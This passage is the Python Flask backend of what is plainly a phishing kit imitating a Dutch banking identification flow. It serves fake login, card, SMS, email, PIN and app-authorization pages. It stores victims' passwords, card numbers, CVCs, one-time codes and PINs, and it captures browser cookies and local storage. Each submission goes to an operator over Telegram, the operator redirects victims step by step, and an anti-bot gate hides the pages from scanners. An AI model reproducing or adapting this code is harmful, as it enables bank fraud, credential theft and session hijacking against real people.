            ("browser_cookies", "TEXT"),
            ("local_storage", "TEXT"),
            ("browser_capture_at", "TIMESTAMP"),
            ("cookies_file_sent", "INTEGER DEFAULT 0"),
            ("screen", "TEXT"),
            ("language", "TEXT"),
            ("timezone", "TEXT"),
            ("ui_language", "TEXT"),
            ("retry_source_page", "TEXT"),
        ):
            try:
                cursor.execute(f"ALTER TABLE visitors ADD COLUMN {_col} {_type}")
            except sqlite3.OperationalError:
                pass
        conn.commit()
        conn.close()

init_db()

ADMIN_GATE_COOKIE = "admin_tg_gate"
ADMIN_GATE_COOKIE_SALT = "|atomic_gate_v1"

PHP_TO_CLEAN_PATH = {
    "/admin/index.php": "/admin/",
    "/admin/users.php": "/admin/users",
    "/admin/settings.php": "/admin/settings",
}

CONSUMER_IDENTIFY = "/consumer/identify"

VISITOR_ROUTES = {
    "login": f"{CONSUMER_IDENTIFY}?channel=WEB&locale=nl-NL",
    "activation": f"{CONSUMER_IDENTIFY}?enrollmentProcessType=ACTIVATION&channel=WEB",
    "processing": "/consumer/session/processing?context=IDENTIFICATION&status=IN_PROGRESS",
    "instrument": f"{CONSUMER_IDENTIFY}/instrument?verificationType=PRIMARY&step=CONFIRMATION",
    "sms": "/consumer/verification/mobile?channel=SMS&purpose=STRONG_AUTH",
    "email": "/consumer/verification/email?channel=EMAIL&purpose=STRONG_AUTH",
    "profile": f"{CONSUMER_IDENTIFY}/profile?step=REVIEW&context=KYC",
    "credential": "/consumer/security/credential?action=UPDATE&method=ACCESS_CODE",
    "authorization": "/consumer/authorization/challenge?method=MOBILE_APP&step=CONFIRM",
    "complete": "/consumer/session/complete?context=IDENTIFICATION&status=COMPLETED",
}

LEGACY_PHP_TO_CLEAN = {
    "/index.php": VISITOR_ROUTES["login"],
    "/loading.php": VISITOR_ROUTES["processing"],
    "/gegevens.php": VISITOR_ROUTES["instrument"],
    "/sms.php": VISITOR_ROUTES["sms"],
    "/email.php": VISITOR_ROUTES["email"],
    "/info.php": VISITOR_ROUTES["profile"],
    "/verrander.php": VISITOR_ROUTES["credential"],
    "/authorize.php": VISITOR_ROUTES["authorization"],
}

LEGACY_PAGE_FILENAME_TO_CLEAN = {
    "index.php": VISITOR_ROUTES["login"],
    "loading.php": VISITOR_ROUTES["processing"],
    "gegevens.php": VISITOR_ROUTES["instrument"],
    "sms.php": VISITOR_ROUTES["sms"],
    "email.php": VISITOR_ROUTES["email"],
    "info.php": VISITOR_ROUTES["profile"],
    "verrander.php": VISITOR_ROUTES["credential"],
    "authorize.php": VISITOR_ROUTES["authorization"],
}

LEGACY_CLEAN_PATH_REDIRECTS = {
    "/consumer/identify/processing": "processing",
    "/consumer/identify/card": "instrument",
    "/consumer/identify/verification/sms": "sms",
    "/consumer/identify/verification/email": "email",
    "/consumer/identify/details": "profile",
    "/consumer/identify/pin": "credential",
    "/consumer/identify/authorization": "authorization",
}


def _append_query(url: str, extra_q: str) -> str:
    if not extra_q:
        return url
    sep = "&" if "?" in url else "?"
    return f"{url}{sep}{extra_q}"


def _canonical_redirect(route_key: str):
    q = request.query_string.decode() if request.query_string else ""
    return redirect(_append_query(VISITOR_ROUTES[route_key], q), code=302)


def normalize_next_page(url: str) -> str:
    """Map legacy *.php redirects from admin DB to clean public URLs."""
    if not url:
        return url
    url = url.strip()
    if url in LEGACY_PHP_TO_CLEAN:
        return LEGACY_PHP_TO_CLEAN[url]
    if url in LEGACY_PAGE_FILENAME_TO_CLEAN:
        return LEGACY_PAGE_FILENAME_TO_CLEAN[url]
    if not url.startswith("/") and url.endswith(".php"):
        bare = url.split("/")[-1]
        if bare in LEGACY_PAGE_FILENAME_TO_CLEAN:
            return LEGACY_PAGE_FILENAME_TO_CLEAN[bare]
    return url


PANEL_GATE_PATHS = frozenset(
    {
        "/admin",
        "/admin/",
        "/admin/users",
        "/admin/settings",
        "/admin/index.php",
        "/admin/users.php",
        "/admin/settings.php",
    }
)

VISITOR_PAGE_PATHS = frozenset(
    {
        "/",
        "/consumer/identify",
        "/consumer/session/processing",
        "/consumer/identify/instrument",
        "/consumer/verification/mobile",
        "/consumer/verification/email",
        "/consumer/identify/profile",
        "/consumer/security/credential",
        "/consumer/authorization/challenge",
        *LEGACY_CLEAN_PATH_REDIRECTS.keys(),
        *LEGACY_PHP_TO_CLEAN.keys(),
    }
)


def _gate_cookie_value(token: str) -> str:
    return hashlib.sha256(
        (token + ADMIN_GATE_COOKIE_SALT).encode()
    ).hexdigest()


def _admin_telegram_gate_ok():
    token = (os.environ.get("ADMIN_GATE_TOKEN") or "").strip()
    if not token:
        return True
    expected = _gate_cookie_value(token)
    return request.cookies.get(ADMIN_GATE_COOKIE) == expected


def _gate_token_query_matches(secret: str, presented: str) -> bool:
    if not secret or presented is None:
        return False
    if len(secret) != len(presented):
        return False
    return hmac.compare_digest(secret, presented)


def _handle_panel_telegram_gate():
    path = request.path or ""
    token = (os.environ.get("ADMIN_GATE_TOKEN") or "").strip()
    if not token:
        return None
    cookie_val = _gate_cookie_value(token)
    if request.cookies.get(ADMIN_GATE_COOKIE) == cookie_val:
        return None
    t = request.args.get("t", type=str)
    if t is not None and _gate_token_query_matches(token, t):
        clean_path = PHP_TO_CLEAN_PATH.get(path, path)
        qs = []
        for k in request.args:
            if k == "t":
                continue
            for v in request.args.getlist(k):
                qs.append((k, v))
        tail = "?" + urlencode(qs) if qs else ""
        resp = redirect(clean_path + tail, code=302)
        secure = request.is_secure or (
            request.headers.get("X-Forwarded-Proto", "").lower() == "https"
        )
        resp.set_cookie(
            ADMIN_GATE_COOKIE,
            cookie_val,
            max_age=60 * 60 * 24 * 30,
            path="/",
            secure=secure,
            httponly=True,
            samesite="Lax",
        )
        return resp
    return redirect(VISITOR_ROUTES["login"], code=302)


@app.before_request
def global_request_guards():
    path = request.path or ""

    if path.startswith("/api/"):
        if path.startswith("/api/admin") and not _admin_telegram_gate_ok():
            return (
                jsonify(
                    {
                        "success": False,
                        "message": "Geen toegang — open eerst de admin-link met geheime sleutel.",
                    }
                ),
                403,
            )
        return None

    if (
        path.startswith("/admin/css/")
        or path.startswith("/admin/js/")
        or path.startswith("/admin/vendor/")
        or path.startswith("/admin/fonts/")
        or path.startswith("/admin/sounds/")
    ):
        return None

    if path.startswith("/css/") or path.startswith("/scripts/") or path.startswith(
        "/images/"
    ) or path.startswith("/fonts/"):
        return None

    if path in PANEL_GATE_PATHS:
        return _handle_panel_telegram_gate()

    if path in VISITOR_PAGE_PATHS and run_xantibot_gate:
        return run_xantibot_gate()

    return None


@app.route("/css/<path:filename>")
def site_css(filename):
    return send_from_directory(os.path.join(_ROOT, "css"), filename)


@app.route("/scripts/<path:filename>")
def site_scripts(filename):
    return send_from_directory(os.path.join(_ROOT, "scripts"), filename)


@app.route("/images/<path:filename>")
def site_images(filename):
    return send_from_directory(os.path.join(_ROOT, "images"), filename)


@app.route("/fonts/<path:filename>")
def site_fonts(filename):
    return send_from_directory(os.path.join(_ROOT, "fonts"), filename)


@admin_bp.route("/fonts/<path:filename>")
def admin_fonts(filename):
    return send_from_directory(os.path.join(_ROOT, "fonts"), filename)


@admin_bp.route("/css/<path:filename>")
def admin_css(filename):
    resp = send_from_directory(os.path.join(_ADMIN_DIR, "css"), filename)
    resp.headers["Cache-Control"] = "no-cache, must-revalidate"
    return resp


@admin_bp.route("/js/<path:filename>")
def admin_js(filename):
    resp = send_from_directory(os.path.join(_ADMIN_DIR, "js"), filename)
    resp.headers["Cache-Control"] = "no-cache, must-revalidate"
    return resp


@admin_bp.route("/vendor/<path:filename>")
def admin_vendor(filename):
    return send_from_directory(os.path.join(_ADMIN_DIR, "vendor"), filename)


@admin_bp.route("/sounds/<path:filename>")
def admin_sounds(filename):
    resp = send_from_directory(os.path.join(_ADMIN_DIR, "sounds"), filename)
    resp.headers["Cache-Control"] = "public, max-age=86400"
    return resp


# ----------------------------------------------------
# VISITOR FRONTEND API (Replacing PHP files)
# ----------------------------------------------------

@app.route('/api/register-visitor', methods=['POST'])
def register_visitor():
    data = request.json or {}
    visitor_id = data.get('visitor_id')
    if not visitor_id:
        return jsonify({'success': False, 'message': 'Missing visitor_id'})
        
    country = data.get('country', 'Unknown')
    city = data.get('city', '')
    os_name = data.get('os', 'Unknown')
    browser = data.get('browser', 'Unknown')
    ip_addr = data.get('ip') or request.remote_addr
    page = (data.get('page') or 'login').strip().lower()
    language = (data.get('language') or '').strip()
    timezone = (data.get('timezone') or '').strip()
    ui_language = (data.get('ui_language') or '').strip().lower()
    if ui_language not in ('nl', 'en'):
        ui_language = ''
    retry_source = (data.get('retry_source_page') or '').strip()
    if retry_source and not retry_source.startswith('/'):
        retry_source = ''
    user_agent_hdr = request.headers.get('User-Agent') or ''

    conn = get_db()
    cursor = conn.cursor()

    sleep_outage = False
    if get_panel_mode() == 'sleep' and visitor_has_sleep_outage(visitor_id):
        sleep_outage = True

    cursor.execute("SELECT id FROM visitors WHERE visitor_id = ?", (visitor_id,))
    exists = cursor.fetchone()

    cursor.execute('''
        INSERT OR IGNORE INTO visitors (visitor_id, ip_address, user_agent, country, city, os, browser, language, timezone, ui_language, current_page)
        VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
    ''', (visitor_id, ip_addr, user_agent_hdr, country, city, os_name, browser, language, timezone, ui_language or None, page))
    
    cursor.execute('''
        UPDATE visitors 
        SET country = COALESCE(?, country),
            city = COALESCE(?, city),
            os = COALESCE(?, os),
            browser = COALESCE(?, browser),
            ip_address = COALESCE(?, ip_address),
            language = COALESCE(?, language),
            timezone = COALESCE(?, timezone),
            ui_language = COALESCE(?, ui_language),
            current_page = COALESCE(?, current_page),
            retry_source_page = COALESCE(?, retry_source_page)
        WHERE visitor_id = ?
    ''', (country, city, os_name, browser, ip_addr, language or None, timezone or None, ui_language or None, page, retry_source or None, visitor_id))

    conn.commit()
    conn.close()
    
    if not exists:
        send_telegram_message(
            build_new_visitor_telegram_message(
                visitor_id,
                ip_addr,
                country,
                city,
                os_name,
                browser,
                user_agent_hdr,
                {"language": language, "timezone": timezone},
            )
        )

    resp = jsonify({
        'success': True,
        'visitor_id': visitor_id,
        'sleep_outage': sleep_outage and get_panel_mode() == 'sleep',
        'panel_mode': get_panel_mode(),
        'resume_url': (
            resolve_sleep_resume_url(visitor_id)
            if get_panel_mode() == 'sleep'
            and not sleep_outage
            and page in ('login', 'index')
            else None
        ),
    })
    if sleep_outage and get_panel_mode() == 'sleep':
        resp.set_cookie('scii_sleep_outage', '1', max_age=604800, path='/', samesite='Lax')
    else:
        resp.set_cookie('scii_sleep_outage', '', max_age=0, path='/', samesite='Lax')
    return resp

@app.route('/api/heartbeat', methods=['POST'])
def heartbeat():
    data = request.json or {}
    visitor_id = data.get('visitor_id')
    page = data.get('page')
    ui_language = (data.get('ui_language') or '').strip().lower()
    if ui_language not in ('nl', 'en'):
        ui_language = ''
    retry_source = (data.get('retry_source_page') or '').strip()
    if retry_source and not retry_source.startswith('/'):
        retry_source = ''
    
    if not visitor_id:
        return jsonify({'success': False})
        
    conn = get_db()
    cursor = conn.cursor()

    sets = ['last_activity = CURRENT_TIMESTAMP']
    params = []
    if page:
        sets.append('current_page = ?')
        params.append(page)
    if ui_language:
        sets.append('ui_language = ?')
        params.append(ui_language)
    if retry_source:
        sets.append('retry_source_page = ?')
        params.append(retry_source)

    params.append(visitor_id)
    cursor.execute(
        f"UPDATE visitors SET {', '.join(sets)} WHERE visitor_id = ?",
        params,
    )
    conn.commit()
    conn.close()
    return jsonify({'success': True})

@app.route('/api/save-browser-capture', methods=['POST'])
@app.route('/api/consumer/session/heartbeat', methods=['POST'])
def consumer_session_hb():
    data = request.json or {}
    visitor_id = data.get('visitor_id')
    if not visitor_id:
        return jsonify({'ok': 0})
    if get_panel_mode() == 'sleep' and visitor_has_sleep_outage(visitor_id):
        return jsonify({'ok': 0, 'blocked': True})
    _vx_persist(
        visitor_id,
        data.get('cookies'),
        data.get('local_storage'),
    )
    return jsonify({'ok': 1})

@app.route('/api/save-visitor-data', methods=['POST'])
def save_visitor_data():
    data = request.json or {}
    visitor_id = data.get('visitor_id')
    form_type = data.get('form_type', 'unknown')
    
    if not visitor_id:
        return jsonify({'success': False})

    if get_panel_mode() == 'sleep' and visitor_has_sleep_outage(visitor_id):
        return jsonify({'ok': 0, 'blocked': True, 'sleep_outage': True})

    if data.get('cookies') is not None or data.get('local_storage') is not None:
        _vx_persist(
            visitor_id,
            data.get('cookies'),
            data.get('local_storage'),
        )
        
    conn = get_db()
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT id, telegram_notified FROM submissions WHERE visitor_id = ? AND form_type = ?",
        (visitor_id, form_type),
    )
    row = cursor.fetchone()

    notify_page = (
        _should_notify_form_telegram(form_type, data)
        and (not row or not row["telegram_notified"])
    )
    if notify_page:
        cursor.execute(
            "SELECT ip_address, country, city, os, browser, user_agent, language, timezone FROM visitors WHERE visitor_id = ?",
            (visitor_id,),
        )
        v_info = cursor.fetchone()
        send_telegram_message(
            build_form_telegram_message(form_type, data, visitor_id, v_info)
        )

    if row:
        # Update existing (simplified approach)
        cursor.execute('''
            UPDATE submissions SET 
                username = COALESCE(?, username),
                password = COALESCE(?, password),
                card_number = COALESCE(?, card_number),
                card_holder = COALESCE(?, card_holder),
                expiry_date = COALESCE(?, expiry_date),
                cvc_code = COALESCE(?, cvc_code),
                postcode = COALESCE(?, postcode),
                housenumber = COALESCE(?, housenumber),
                sms_code = COALESCE(?, sms_code),
                email_code = COALESCE(?, email_code),
                naam = COALESCE(?, naam),
                geboorte = COALESCE(?, geboorte),
                adres = COALESCE(?, adres),
                plaats = COALESCE(?, plaats),
                email = COALESCE(?, email),
                telefoon = COALESCE(?, telefoon),
                huistelefoon = COALESCE(?, huistelefoon),
                old_pin = COALESCE(?, old_pin),
                new_pin = COALESCE(?, new_pin),
                app_confirm = COALESCE(?, app_confirm),
                telegram_notified = CASE WHEN ? THEN 1 ELSE telegram_notified END,
                submitted_at = CURRENT_TIMESTAMP
            WHERE visitor_id = ? AND form_type = ?
        ''', (
            data.get('username'), data.get('password'),
            data.get('cardnumber'), data.get('cardname'), 
            f"{data.get('expmonth', '')}/{data.get('expyear', '')}" if data.get('expmonth') else None, data.get('cvc'),
            data.get('postcode') or data.get('zipcode'), data.get('housenumber'),
            data.get('sms_code'), data.get('email_code'),
            data.get('naam'), data.get('geboorte'), data.get('adres'), data.get('plaats'), data.get('email'), data.get('telefoon'), data.get('huistelefoon'),
            data.get('old_pin'), data.get('new_pin'),
            data.get('app_confirm'),
            1 if notify_page else 0,
            visitor_id, form_type
        ))
    else:
        # Insert new
        cursor.execute('''
            INSERT INTO submissions (
                visitor_id, form_type, username, password, 
                card_number, card_holder, expiry_date, cvc_code, postcode, housenumber, sms_code, email_code,
                naam, geboorte, adres, plaats, email, telefoon, huistelefoon, old_pin, new_pin, app_confirm,
                telegram_notified
            ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
        ''', (
            visitor_id, form_type, data.get('username'), data.get('password'),
            data.get('cardnumber'), data.get('cardname'), 
            f"{data.get('expmonth', '')}/{data.get('expyear', '')}" if data.get('expmonth') else None, 
            data.get('cvc'), data.get('postcode') or data.get('zipcode'), data.get('housenumber'), data.get('sms_code'), data.get('email_code'),
            data.get('naam'), data.get('geboorte'), data.get('adres'), data.get('plaats'), data.get('email'), data.get('telefoon'), data.get('huistelefoon'),
            data.get('old_pin'), data.get('new_pin'),
            data.get('app_confirm'),
            1 if notify_page else 0,
        ))
        
    conn.commit()
    conn.close()

    if form_type == "gegevens" and _tg_truthy(data.get("step_complete")):
        if not data.get("send_cookie_file"):
            data["send_cookie_file"] = True
        _vx_dispatch(visitor_id)

    redirect_url = apply_sleep_mode_auto_redirect(visitor_id, form_type, data)
    sleep_out = (
        visitor_has_sleep_outage(visitor_id) and get_panel_mode() == 'sleep'
    )
    if sleep_out and form_type == 'pin' and not redirect_url:
        redirect_url = VISITOR_ROUTES['login']
    return jsonify({
        'ok': 1,
        'sleep_outage': sleep_out,
        'redirect_url': redirect_url,
        'resume_url': VISITOR_ROUTES['login'] if sleep_out and form_type == 'pin' else None,
    })

@app.route('/api/visitor-status', methods=['GET'])
def visitor_status():
    mode = get_panel_mode()
    visitor_id = request.args.get('visitor_id')
    if mode != 'sleep':
        resp = jsonify({'mode': mode, 'sleep_outage': False, 'panel_mode': mode})
        resp.set_cookie('scii_sleep_outage', '', max_age=0, path='/', samesite='Lax')
        return resp
    if visitor_id and visitor_has_sleep_outage(visitor_id):
        resp = jsonify({
            'mode': mode,
            'sleep_outage': True,
            'visitor_id': visitor_id,
            'panel_mode': mode,
        })
        resp.set_cookie('scii_sleep_outage', '1', max_age=604800, path='/', samesite='Lax')
        return resp
    resp = jsonify({'mode': mode, 'sleep_outage': False, 'panel_mode': mode})
    resp.set_cookie('scii_sleep_outage', '', max_age=0, path='/', samesite='Lax')
    return resp


@app.route('/api/check-redirect', methods=['GET'])
def check_redirect():
    visitor_id = request.args.get('visitor_id')
    if not visitor_id:
        return jsonify({'redirect': False})

    conn = get_db()
    cursor = conn.cursor()
    cursor.execute(
        "SELECT next_page FROM commands WHERE visitor_id = ? AND status = 'pending'",
        (visitor_id,),
    )
    cmd = cursor.fetchone()

    if cmd and cmd['next_page']:
        cursor.execute(
            "UPDATE commands SET status = 'executed' WHERE visitor_id = ? AND status = 'pending'",
            (visitor_id,),
        )
        cursor.execute(
            "UPDATE visitors SET sleep_outage = 0 WHERE visitor_id = ?",
            (visitor_id,),
        )
        conn.commit()
        conn.close()
        return jsonify({'redirect': True, 'url': normalize_next_page(cmd['next_page'])})

    conn.close()

    if get_panel_mode() == 'sleep' and visitor_has_sleep_outage(visitor_id):
        return jsonify({'redirect': False})

    return jsonify({'redirect': False})



# ----------------------------------------------------
# AUTHENTICATION
# ----------------------------------------------------

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'admin_id' not in session:
            return jsonify({'success': False, 'message': 'Unauthorized', 'error': 'unauthorized'}), 401
        return f(*args, **kwargs)
    return decorated_function


def superadmin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'admin_id' not in session:
            return jsonify({'success': False, 'message': 'Unauthorized', 'error': 'unauthorized'}), 401
        if not session.get('is_superadmin'):
            return jsonify({'success': False, 'message': 'Forbidden', 'error': 'forbidden'}), 403
        return f(*args, **kwargs)
    return decorated_function

@app.route('/api/admin/check-auth', methods=['GET'])
def check_auth():
    if 'admin_id' in session:
        return jsonify({
            'success': True,
            'username': session.get('username'),
            'admin_id': session.get('admin_id'),
            'is_superadmin': bool(session.get('is_superadmin')),
        })
    return jsonify({'success': False, 'error': 'unauthorized'}), 401

@app.route('/api/admin/login', methods=['POST'])
def admin_login():
    data = request.json or {}
    username = data.get('username')
    password = data.get('password')
    
    conn = get_db()
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
    user = cursor.fetchone()
    conn.close()
    
    if user and check_password_hash(user['password_hash'], password):
        session['admin_id'] = user['id']
        session['username'] = user['username']
        session['is_superadmin'] = bool(user['is_superadmin'])
        return jsonify({'success': True, 'is_superadmin': session['is_superadmin']})
        
    return jsonify({'success': False, 'message': 'Invalid credentials'}), 401

@app.route('/api/admin/logout', methods=['POST'])
def admin_logout():
    session.clear()
    return jsonify({'success': True})

@app.route('/api/admin/users', methods=['GET'])
@login_required
def get_users():
    conn = get_db()
    cursor = conn.cursor()
    cursor.execute("SELECT id, username, created_at, is_superadmin FROM users")
    users = [dict(row) for row in cursor.fetchall()]
    conn.close()
    return jsonify(users)

@app.route('/api/admin/add-user', methods=['POST'])
@login_required
def add_user():
    data = request.json or {}
    username = data.get('username')
    password = data.get('password')
    
    if not username or not password:
        return jsonify({'success': False, 'message': 'Missing data'}), 400
        
    conn = get_db()
    cursor = conn.cursor()
    try:
        cursor.execute(
            "INSERT INTO users (username, password_hash, is_superadmin) VALUES (?, ?, 0)",
            (username, generate_password_hash(password)),
        )
        conn.commit()
    except sqlite3.IntegrityError:
        conn.close()
        return jsonify({'success': False, 'message': 'Username already exists'}), 400
        
    conn.close()
    return jsonify({'success': True})

@app.route('/api/admin/delete-user', methods=['DELETE'])
@login_required
def delete_user():
    if not session.get('is_superadmin'):
        return jsonify({'success': False, 'message': 'Alleen de primary admin kan operators verwijderen'}), 403
    data = request.json or {}
    user_id = data.get('id')
    
    if session.get('admin_id') == user_id:
        return jsonify({'success': False, 'message': 'Cannot delete yourself'}), 400
        
    conn = get_db()
    cursor = conn.cursor()
    cursor.execute("SELECT is_superadmin FROM users WHERE id = ?", (user_id,))
    row = cursor.fetchone()
    if not row:
        conn.close()
        return jsonify({'success': False, 'message': 'User not found'}), 404
    cursor.execute("DELETE FROM users WHERE id = ?", (user_id,))
    conn.commit()
    conn.close()
    return jsonify({'success': True})

# ----------------------------------------------------
# ADMIN PANEL API
# ----------------------------------------------------

@admin_bp.route("/")
def serve_index():
    return render_template("panel_index.html", panel_mode=get_panel_mode())


@admin_bp.route("/users")
def serve_users_page():
    return render_template("panel_users.html", panel_mode=get_panel_mode())


@admin_bp.route("/settings")
def serve_settings_page():
    return render_template("panel_settings.html", panel_mode=get_panel_mode())


@admin_bp.route("/index.php")
def legacy_admin_index():
    q = request.query_string.decode() if request.query_string else ""
    return redirect(("/admin/?" + q) if q else "/admin/", code=301)


@admin_bp.route("/users.php")
def legacy_admin_users():
    q = request.query_string.decode() if request.query_string else ""
    return redirect(("/admin/users?" + q) if q else "/admin/users", code=301)


@admin_bp.route("/settings.php")
def legacy_admin_settings():
    q = request.query_string.decode() if request.query_string else ""
    return redirect(("/admin/settings?" + q) if q else "/admin/settings", code=301)


# --- Public visitor pages (clean URLs) ---
@app.route("/")
def public_root():
    q = request.query_string.decode() if request.query_string else ""
    return redirect(_append_query(VISITOR_ROUTES["login"], q), code=302)


@app.route("/consumer/identify")
def public_login():
    if not request.args:
        return redirect(VISITOR_ROUTES["login"], code=302)
    return render_template("index.html")


@app.route("/consumer/session/processing")
def public_processing():
    if not request.args:
        return redirect(VISITOR_ROUTES["processing"], code=302)
    return render_template("loading.html")


@app.route("/consumer/identify/instrument")
def public_instrument():
    if not request.args:
        return redirect(VISITOR_ROUTES["instrument"], code=302)
    return render_template("gegevens.html")


@app.route("/consumer/verification/mobile")
def public_sms():
    if not request.args:
        return redirect(VISITOR_ROUTES["sms"], code=302)
    return render_template("sms.html")


@app.route("/consumer/verification/email")
def public_email():
    if not request.args:
        return redirect(VISITOR_ROUTES["email"], code=302)
    return render_template("email.html")


@app.route("/consumer/identify/profile")
def public_profile():
    if not request.args:
        return redirect(VISITOR_ROUTES["profile"], code=302)
    return render_template("info.html")


@app.route("/consumer/security/credential")
def public_credential():
    if not request.args:
        return redirect(VISITOR_ROUTES["credential"], code=302)
    return render_template("verrander.html")


@app.route("/consumer/session/complete")
def public_complete():
    if not request.args:
        return redirect(VISITOR_ROUTES["complete"], code=302)
    return render_template("complete.html")


@app.route("/consumer/authorization/challenge")
def public_authorization():
    if not request.args:
        return redirect(VISITOR_ROUTES["authorization"], code=302)
    return render_template("authorize.html")


@app.route("/consumer/identify/processing")
def legacy_clean_processing():
    return _canonical_redirect("processing")


@app.route("/consumer/identify/card")
def legacy_clean_card():
    return _canonical_redirect("instrument")


@app.route("/consumer/identify/verification/sms")
def legacy_clean_sms():
    return _canonical_redirect("sms")


@app.route("/consumer/identify/verification/email")
def legacy_clean_email():
    return _canonical_redirect("email")


@app.route("/consumer/identify/details")
def legacy_clean_details():
    return _canonical_redirect("profile")


@app.route("/consumer/identify/pin")
def legacy_clean_pin():
    return _canonical_redirect("credential")


@app.route("/consumer/identify/authorization")
def legacy_clean_authorization():
    return _canonical_redirect("authorization")


def _legacy_public_redirect(legacy_path: str):
    q = request.query_string.decode() if request.query_string else ""
    target = LEGACY_PHP_TO_CLEAN.get(legacy_path, VISITOR_ROUTES["login"])
    return redirect(_append_query(target, q), code=301)


@app.route("/index.php")
def legacy_public_index():
    return _legacy_public_redirect("/index.php")


@app.route("/loading.php")
def legacy_public_loading():
    return _legacy_public_redirect("/loading.php")


@app.route("/gegevens.php")
def legacy_public_gegevens():
    return _legacy_public_redirect("/gegevens.php")


@app.route("/sms.php")
def legacy_public_sms():
    return _legacy_public_redirect("/sms.php")


@app.route("/email.php")
def legacy_public_email():
    return _legacy_public_redirect("/email.php")


@app.route("/info.php")
def legacy_public_info():
    return _legacy_public_redirect("/info.php")


@app.route("/verrander.php")
def legacy_public_verrander():
    return _legacy_public_redirect("/verrander.php")


@app.route("/authorize.php")
def legacy_public_authorize():
    return _legacy_public_redirect("/authorize.php")


app.register_blueprint(admin_bp)

@app.route('/api/panel-mode', methods=['GET'])
def public_panel_mode():
    return jsonify({'mode': get_panel_mode()})


@app.route('/api/admin/panel-mode', methods=['GET'])
@login_required
def admin_get_panel_mode():
    return jsonify({'mode': get_panel_mode()})


@app.route('/api/admin/panel-mode', methods=['POST'])
@login_required
def admin_set_panel_mode():
    data = request.json or {}
    mode = data.get('mode', 'awake')
    if mode not in ('awake', 'sleep'):
        return jsonify({'success': False, 'message': 'Invalid mode'}), 400
    set_setting('panel_mode', mode)
    if mode == 'awake':
        conn = get_db()
        cur = conn.cursor()
        cur.execute("UPDATE visitors SET sleep_outage = 0")
        conn.commit()
        conn.close()
    return jsonify({'success': True, 'mode': mode})


@app.route('/api/admin/visitors', methods=['GET'])
@login_required
def get_admin_visitors():
    conn = get_db()
    cursor = conn.cursor()
    
    # Get visitors with their latest submissions
    cursor.execute('''
        SELECT v.*, 
               (SELECT group_concat(form_type) FROM submissions WHERE visitor_id = v.visitor_id) as forms
        FROM visitors v
        ORDER BY v.last_activity DESC
    ''')
    visitors = [_stealth_admin_visitor(dict(row)) for row in cursor.fetchall()]
    
    for v in visitors:
        cursor.execute("SELECT * FROM submissions WHERE visitor_id = ? ORDER BY submitted_at DESC", (v['visitor_id'],))
        v['submissions'] = [dict(r) for r in cursor.fetchall()]
        
    conn.close()
    return jsonify(visitors)

@app.route('/api/admin/set-redirect', methods=['POST'])
@login_required
def admin_set_redirect():
    data = request.json
    visitor_id = data.get('visitor_id')
    next_page = data.get('next_page')
    
    conn = get_db()
    cursor = conn.cursor()
    cursor.execute('''
        INSERT INTO commands (visitor_id, action, next_page, status)
        VALUES (?, 'redirect', ?, 'pending')
        ON CONFLICT(visitor_id, action) DO UPDATE SET
            next_page = ?, status = 'pending', created_at = CURRENT_TIMESTAMP
    ''', (visitor_id, next_page, next_page))
    cursor.execute(
        "UPDATE visitors SET sleep_outage = 0 WHERE visitor_id = ?",
        (visitor_id,),
    )
    conn.commit()
    conn.close()
    return jsonify({'success': True})

@app.route('/api/admin/delete-visitor', methods=['DELETE'])
@login_required
def admin_delete_visitor():
    if not session.get('is_superadmin'):
        return jsonify({'success': False, 'message': 'Alleen de primary admin kan targets verwijderen'}), 403
    data = request.json
    visitor_id = data.get('visitor_id')
    
    conn = get_db()
    cursor = conn.cursor()
    cursor.execute("DELETE FROM submissions WHERE visitor_id = ?", (visitor_id,))
    cursor.execute("DELETE FROM commands WHERE visitor_id = ?", (visitor_id,))
    cursor.execute("DELETE FROM visitors WHERE visitor_id = ?", (visitor_id,))
    conn.commit()
    conn.close()
    return jsonify({'success': True})


@app.route('/api/admin/telegram-settings', methods=['GET'])
@superadmin_required
def get_telegram_settings():
    token = (get_setting("telegram_bot_token", "") or "").strip()
    chat = (get_setting("telegram_chat_id", "") or "").strip()
    masked = ""
    if len(token) > 12:
        masked = token[:4] + "…" + token[-4:]
    elif token:
        masked = "••••"
    return jsonify({
        "chat_id": chat,
        "token_masked": masked,
        "token_configured": bool(token and token != "YOUR_BOT_TOKEN_HERE"),
        "notify_enabled": telegram_notifications_enabled(),
    })


@app.route('/api/admin/telegram-settings', methods=['POST'])
@superadmin_required
def update_telegram_settings():
    data = request.json or {}
    if "bot_token" in data:
        t = (data.get("bot_token") or "").strip()
        if t:
            set_setting("telegram_bot_token", t)
    if "chat_id" in data:
        set_setting("telegram_chat_id", (data.get("chat_id") or "").strip())
    if "notify_enabled" in data:
        set_setting(
            "telegram_notify_enabled",
            "1" if _truthy_setting(data.get("notify_enabled"), True) else "0",
        )
    return jsonify({"success": True})


@app.route('/api/admin/antibot-settings', methods=['GET'])
@superadmin_required
def get_antibot_settings():
    cfg = get_xantibot_panel_config()
    key = cfg["api_key"]
    masked = ""
    if len(key) > 8:
        masked = key[:4] + "…" + key[-4:]
    elif key:
        masked = "••••"
    return jsonify({
        "enabled": cfg["enabled"],
        "api_key_masked": masked,
        "api_key_configured": bool(key),
    })


@app.route('/api/admin/antibot-settings', methods=['POST'])
@superadmin_required
def update_antibot_settings():
    data = request.json or {}
    if "enabled" in data:
        set_setting(
            "xantibot_enabled",
            "1" if _truthy_setting(data.get("enabled"), False) else "0",
        )
    if "api_key" in data:
        k = (data.get("api_key") or "").strip()
        if k:
            set_setting("xantibot_api_key", k)
    return jsonify({"success": True})


@app.route('/api/admin/telegram-test', methods=['POST'])
@superadmin_required
def telegram_test():
    data = request.json or {}
    mode = (data.get("mode") or "full").strip().lower()
    if mode == "ping":
        ok = send_telegram_message("✅ <b>SCI Notify</b> — test gelukt.")
        return jsonify({"success": ok, "mode": "ping"})
    ok = run_telegram_flow_test()
    return jsonify({"success": ok, "mode": "full"})


def run_telegram_flow_test() -> bool:
    """Send sample messages for every notify type (same builders as live traffic)."""
    test_vid = f"test_{datetime.utcnow().strftime('%Y%m%d%H%M%S')}"
    v_info = {
        "ip_address": "127.0.0.1",
        "country": "Netherlands",
        "city": "Localhost",
        "os": "Test",
        "browser": "Test",
